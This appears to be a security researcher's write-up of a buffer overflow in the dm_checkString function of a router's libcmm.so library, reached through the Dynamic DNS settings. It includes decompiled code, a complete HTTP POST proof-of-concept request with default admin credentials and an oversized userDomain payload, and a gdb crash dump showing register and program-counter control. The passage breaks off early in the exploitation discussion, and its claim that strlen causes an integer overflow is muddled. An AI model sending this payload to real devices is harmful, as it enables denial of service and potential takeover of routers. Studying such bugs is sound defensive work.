The Vulnerability

This vulnerability is discovered under the library module called libcmm.so, which processes mostly function parameters that are sent from the web server. These parameters often make incorrect use of buffer sizes passed as arguments.

This functionality can be consumed from the Dynamic DNS module.

Captura de Pantalla 2021-12-21 a la(s) 4.34.18 p.m..png

Below we can see the dm_checkString function hosted under the libcmm.so library which uses functions incorrectly.

undefined4 dm_checkString(int param_1,char *param_2)

{
  uint uVar1;
  undefined4 uVar2;
  
  strlen(param_2);
  uVar1 = *(uint *)(param_1 + 8);
  if (uVar1 < 8) {
                    /* WARNING: Could not recover jumptable at 0x00090578. Too many branches */
                    /* WARNING: Treating indirect jump as call */
    uVar2 = (*(code *)(&_gp_1 + *(int *)(&DAT_000c4060 + uVar1 * 4)))();
    return uVar2;
  }
  cdbg_printf(8,"dm_checkString",0x59a,"Unknow parameter type : %d\\n",uVar1);
  return 0x232e;
}

We have a function that receives two arguments a value of type integer and a data pointer of type char, when this pointer hosts a specific size in the pointer and is passed as argument to the strlen function we can see that it takes control over some registers, causing an integer overflow in the function.

Triggering the error and debugging the vulnerable function.

For the following example we will send an HTTP request on the argument userDomain= with a string of 3224 characters.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 3331
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
enable=1
userName=admin
password=admin
userDomain=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
login=1

On the other hand, from the router we can see that the http process is running correctly.

Captura de Pantalla 2021-12-21 a la(s) 4.38.31 p.m..png

Once the request has been sent we have the following summary.

Program received signal SIGSEGV, Segmentation fault.
0x2b750548 in dm_checkString () from target:/lib/libcmm.so
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
*V0   0xc98
*V1   0x7fcc95e0 ◂— 0x0
*A0   0x7fcc8948 ◂— 0x41414141 ('AAAA')
*A1   0xfefefeff
 A2   0x0
*A3   0x7fcca90d ◂— 0xa31 /* '1\\n' */
*T0   0x81010100
*T1   0xa0a0a0a ('\\n\\n\\n\\n')
*T2   0x0
*T3   0x0
*T4   0x0
*T5   0x0
*T6   0x0
*T7   0x0
*T8   0x0
*T9   0x2b83f0c0 (strlen) ◂— b      0x2b83f0d4
*S0   0x7fcc8948 ◂— 0x41414141 ('AAAA')
*S1   0x42424242 ('BBBB')
*S2   0x7fcc8eb0 ◂— 0x44444444 ('DDDD')
*S3   0xc98
*S4   0x7fcc95a0 ◂— 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
*S5   0x0
*S6   0x1
*S7   0x7fcc9b40 ◂— 0x0
*S8   0x7fcc8eb0 ◂— 0x44444444 ('DDDD')
*FP   0x7fcc88a0 ◂— 0x0
*SP   0x7fcc8860 —▸ 0x423070 —▸ 0x40c850 ◂— jalx   0x5c59548 /* 'Request-URI Too Long' */
*PC   0x2b750548 (dm_checkString+64) ◂— lw     $v0, 8($s1)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x2b750548 <dm_checkString+64>     lw     $v0, 8($s1)
   0x2b75054c <dm_checkString+68>     lw     $gp, 0x20($sp)
   0x2b750550 <dm_checkString+72>     sltiu  $v1, $v0, 8
   0x2b750554 <dm_checkString+76>     beqz   $v1, dm_checkString+1144 <0x2b750980>

   0x2b750558 <dm_checkString+80>     addiu  $a0, $zero, 8
   0x2b75055c <dm_checkString+84>     lw     $v1, -0x7fd0($gp)
   0x2b750560 <dm_checkString+88>     sll    $v0, $v0, 2
   0x2b750564 <dm_checkString+92>     addiu  $v1, $v1, 0x4060
   0x2b750568 <dm_checkString+96>     addu   $v0, $v1, $v0
   0x2b75056c <dm_checkString+100>    lw     $v0, ($v0)
   0x2b750570 <dm_checkString+104>    nop
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fcc8860 —▸ 0x423070 —▸ 0x40c850 ◂— jalx   0x5c59548 /* 'Request-URI Too Long' */
01:0004│    0x7fcc8864 —▸ 0x2b68b108 (_dl_runtime_resolve+72) ◂— lw     $gp, 0x20($sp) /* ' ' */
02:0008│    0x7fcc8868 ◂— 0x0
03:000c│    0x7fcc886c ◂— 0x0
04:0010│    0x7fcc8870 ◂— 0x15
05:0014│    0x7fcc8874 ◂— 0x0
06:0018│    0x7fcc8878 —▸ 0x2b7b44a0 ◂— 0x0
07:001c│    0x7fcc887c ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 0x2b750548 dm_checkString+64
   f 1 0x2b750c40 dm_setParamNodeString+72
   f 2 0x2b7452c8 dm_fillObjByStr+776
   f 3 0x44444444
──────────────────────────────────────────────────────────────────────

we see that the strlen function has indeed triggered the integer overflow and that it has allowed to overwrite the program counter at will.

But in order to continue with the exploitation chain we must start skipping some problems we have, for example we can't take control over the program flow until we can't beat the instructions.

 ► 0x2b750548 <dm_checkString+64>     lw     $v0, 8($s1)
   0x2b75054c <dm_checkString+68>     lw     $gp, 0x20($sp)
   0x2b750550 <dm_checkString+72>     sltiu  $v1, $v0, 8
   0x2b750554 <dm_checkString+76>     beqz   $v1, dm_checkString+1144 <0x2b750980>

We see that when executing, lw $v0, 8($s1) this is broken and it is logical since the stack is completely controlled by us with values that do not comply with the access to that register.

Captura de Pantalla 2021-12-31 a la(s) 9.02.41 a.m..png